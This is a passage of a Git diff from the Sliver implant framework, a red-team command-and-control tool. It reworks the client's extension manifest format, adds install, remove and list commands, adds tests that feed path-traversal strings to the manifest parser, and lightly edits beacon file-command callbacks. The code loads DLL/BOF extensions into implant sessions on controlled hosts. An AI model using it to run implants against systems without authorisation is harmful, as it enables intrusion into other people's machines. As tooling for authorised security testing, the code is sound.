continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
installedManifests := getInstalledManifests()
results := []string{}
for _, manifest := range installedManifests {
if strings.HasPrefix(manifest.CommandName, prefix) {
results = append(results, manifest.CommandName)
}
}
return results
}
@@ -0,0 +1,245 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"testing"
)
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
sample2 = `{
"name": "test2",
"command_name": "test2",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "../../../../foo/test1.dll"
}
]
}`
)
func TestParseExtensionManifest(t *testing.T) {
extManifest, err := ParseExtensionManifest([]byte(sample1))
if err != nil {
t.Fatalf("Error parsing extension manifest: %s", err)
}
if extManifest.Name != "test1" {
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
}
if extManifest.CommandName != "test1" {
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
}
if extManifest.Version != "1.0.0" {
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
}
if extManifest.ExtensionAuthor != "test" {
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
}
if extManifest.OriginalAuthor != "test" {
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
}
if extManifest.RepoURL != "https://example.com/" {
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
}
if extManifest.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
}
if len(extManifest.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
}
if extManifest.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
}
if extManifest.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
}
if extManifest.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
}
extManifest2, err := ParseExtensionManifest([]byte(sample2))
if err != nil {
t.Fatalf("Error parsing extension manifest (2): %s", err)
}
if extManifest2.Name != "test2" {
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
}
if extManifest2.CommandName != "test2" {
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
}
if extManifest2.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
}
if len(extManifest2.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
}
if extManifest2.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
}
if extManifest2.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
}
if extManifest2.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
}
}
const (
sample3 = `{
"name": "test3",
"command_name": "test3",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseExtensionManifestErrors(t *testing.T) {
sample3, err := ParseExtensionManifest([]byte(sample3))
if err != nil {
t.Fatalf("Failed to parse initial sample3: %s", err)
}
missingName := (*sample3)
missingName.Name = ""
data, _ := json.Marshal(missingName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing name error, got none")
}
missingCmdName := (*sample3)
missingCmdName.CommandName = ""
data, _ = json.Marshal(missingCmdName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing command name error, got none")
}
missingHelp := (*sample3)
missingHelp.Help = ""
data, _ = json.Marshal(missingHelp)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing help error, got none")
}
missingFiles := (*sample3)
missingFiles.Files = []*extensionFile{}
data, _ = json.Marshal(missingFiles)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files error, got none")
}
missingFileOS := (*sample3)
missingFileOS.Files = []*extensionFile{
{
OS: "",
Arch: "amd64",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileOS)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.os error, got none")
}
missingFileArch := (*sample3)
missingFileArch.Files = []*extensionFile{
{
OS: "windows",
Arch: "",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileArch)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.arch error, got none")
}
missingFilePath := (*sample3)
missingFilePath.Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: "",
},
}
data, _ = json.Marshal(missingFilePath)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
invalidPaths := []string{
"../../../../../",
"/../../../../..",
".",
"/",
}
for _, invalidPath := range invalidPaths {
missingFilePath2 := (*sample3)
missingFilePath2.Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: invalidPath,
},
}
data, _ = json.Marshal(missingFilePath2)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
}
}
+168
View File
@@ -0,0 +1,168 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsInstallCmd - Install an extension
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extLocalPath := ctx.Args.String("path")
fi, err := os.Stat(extLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
return
}
if !fi.IsDir() {
InstallFromFilePath(extLocalPath, false, con)
} else {
installFromDir(extLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating extension directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
}
// Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
return nil
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, artifactPath)
if err != nil {
return err
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
+54
View File
@@ -0,0 +1,54 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// ExtensionsListCmd - List all extension loaded on the active session/beacon
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("%s\n", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
+135 -169
View File
@@ -1,9 +1,26 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"encoding/binary"
"encoding/json"
"errors"
"fmt"
@@ -13,39 +30,45 @@ import (
"path/filepath"
"strings"
"golang.org/x/text/encoding/unicode"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
ManifestFileName = "extension.json"
)
var commandMap map[string]extensionCommand
var loadedExtensions = map[string]*ExtensionManifest{}
type extensionCommand struct {
Name string `json:"name"`
Help string `json:"help"`
Files []extensionFiles `json:"extFiles"`
Arguments []extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"dependsOn"`
Init string `json:"init"`
Path string
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
type ExtensionManifest struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
RootPath string `json:"-"`
}
type extensionFiles struct {
OS string `json:"os"`
Files binFiles `json:"files"`
type extensionFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
type extensionArgument struct {
@@ -55,66 +78,98 @@ type extensionArgument struct {
Optional bool `json:"optional"`
}
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, ef := range e.Files {
if targetOS == ef.OS {
switch targetArch {
case "386":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
case "amd64":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
}
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), cmdName, extFile.Path)
break
}
}
if filePath == "" {
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
return "", err
}
return
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("extension file not found: %s", filePath)
return "", err
}
return filePath, nil
}
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// ExtensionLoadCmd - Load extension command
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmds, err := ParseExtensions(dirPath)
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
if err != nil {
return
}
// do not add if the command already exists
if CmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
ExtensionRegisterCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
}
for _, extCmd := range extCmds {
// do not add if the command already exists
if cmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
continue
// ParseExtensions - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extManifest, err := ParseExtensionManifest(data)
if err != nil {
return nil, err
}
extManifest.RootPath = filepath.Dir(manifestPath)
loadedExtensions[extManifest.CommandName] = extManifest
return extManifest, nil
}
// ParseExtensionManifest - Parse extension manifest from buffer
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
extManifest := &ExtensionManifest{}
err := json.Unmarshal(data, &extManifest)
if err != nil {
return nil, err
}
if extManifest.Name == "" {
return nil, errors.New("missing `name` field in extension manifest")
}
if extManifest.CommandName == "" {
return nil, errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return nil, errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return nil, errors.New("missing `files.os` field in extension manifest")
}
RegisterExtensionCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
if extFiles.Arch == "" {
return nil, errors.New("missing `files.arch` field in extension manifest")
}
extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return nil, errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
}
if extManifest.Help == "" {
return nil, errors.New("missing `help` field in extension manifest")
}
return extManifest, nil
}
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
manifestPath := filepath.Join(extPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extensionsCmds := make([]*extensionCommand, 0)
err = json.Unmarshal(jsonBytes, &extensionsCmds)
if err != nil {
return nil, err
}
for _, extCmd := range extensionsCmds {
extCmd.Path = extPath
commandMap[extCmd.Name] = *extCmd
}
return extensionsCmds, nil
}
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
commandMap[extCmd.Name] = *extCmd
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Name: extCmd.CommandName,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
@@ -157,33 +212,7 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
con.App.AddCommand(extensionCmd)
}
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("Error: %s", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
@@ -195,7 +224,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
con.PrintErrorf("%s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
@@ -242,14 +271,14 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
con.PrintErrorf("%s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.Name,
Data: binData,
@@ -267,7 +296,7 @@ func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand,
}
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := commandMap[depName]
depExt, f := loadedExtensions[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
if err != nil {
@@ -277,7 +306,7 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
if err != nil {
return err
}
return registerExtension(con, &depExt, depBinData, session, ctx)
return registerExtension(con, depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
@@ -295,13 +324,14 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
ext, ok := commandMap[ctx.Command.Name]
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
if err = loadExtension(ctx, session, con, &ext); err != nil {
if err = loadExtension(ctx, session, con, ext); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
@@ -335,7 +365,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
extName = ext.DependsOn
entryPoint = commandMap[extName].Entrypoint // should exist at this point
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
@@ -355,11 +385,11 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
con.PrintErrorf("%s\n", err.Error())
return
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
con.PrintErrorf("%s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
@@ -372,13 +402,13 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return nil, err
}
argsBuffer := BOFArgsBuffer{
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
@@ -427,7 +457,7 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := BOFArgsBuffer{
extensionArgsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
err = extensionArgsBuffer.AddString(ext.Entrypoint)
@@ -450,7 +480,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
}
func cmdExists(name string, app *grumble.App) bool {
// CmdExists - checks if a command exists
func CmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
@@ -458,68 +489,3 @@ func cmdExists(name string, app *grumble.App) bool {
}
return false
}
func init() {
commandMap = make(map[string]extensionCommand)
}
// BOF Specific code
type BOFArgsBuffer struct {
Buffer *bytes.Buffer
}
func (b *BOFArgsBuffer) AddData(d []byte) error {
dataLen := uint32(len(d))
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddShort(d uint16) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddInt(d uint32) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddString(d string) error {
stringLen := uint32(len(d)) + 1
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
dBytes := append([]byte(d), 0x00)
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
}
func (b *BOFArgsBuffer) AddWString(d string) error {
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
strBytes := append([]byte(d), 0x00)
utf16Data, err := encoder.Bytes(strBytes)
if err != nil {
return err
}
stringLen := uint32(len(utf16Data))
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
}
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
outBuffer := new(bytes.Buffer)
err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
if err != nil {
return nil, err
}
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
if err != nil {
return nil, err
}
return outBuffer.Bytes(), nil
}
+77
View File
@@ -0,0 +1,77 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsRemoveCmd - Remove an extension
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveExtensionByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing extension: %s\n", err)
return
} else {
con.PrintInfof("Extension '%s' removed\n", name)
}
}
// RemoveExtensionByCommandName - Remove an extension by command name
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedExtensions[commandName]; !ok {
return errors.New("extension not loaded")
}
delete(loadedExtensions, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
forceRemoveAll(extPath)
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
-1
View File
@@ -59,7 +59,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -47,7 +47,6 @@ func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -71,7 +71,6 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
+3 -3
View File
@@ -70,8 +70,9 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indices should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence]
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence+1]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
@@ -94,7 +95,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if ls.Response != nil && ls.Response.Async {
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, ls)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -53,7 +53,6 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if mkdir.Response != nil && mkdir.Response.Async {
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, mkdir)
if err != nil {
